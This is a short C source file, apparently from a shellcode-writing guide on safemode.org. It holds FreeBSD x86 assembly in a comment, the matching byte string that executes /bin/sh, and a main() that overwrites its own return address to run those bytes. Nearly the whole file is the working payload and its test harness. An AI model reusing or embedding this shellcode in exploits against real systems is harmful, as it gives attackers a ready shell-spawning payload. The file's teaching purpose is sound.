/* * * Shellcode and assembly code written by zillion (at safemode.org) for freebsd intel systems.. * It does a simple execve of /bin/sh * * This will be part of a shell code writing guide, which will be released on safemode.org soon. * * BITS 32 * * jmp short callit * doit: * * pop esi * xor eax, eax * mov byte [esi + 7], al * push eax * push eax * push esi * mov al,59 * push eax * int 0x80 * * callit: * call doit * * db '/bin/sh#' * * */ char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd" "\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }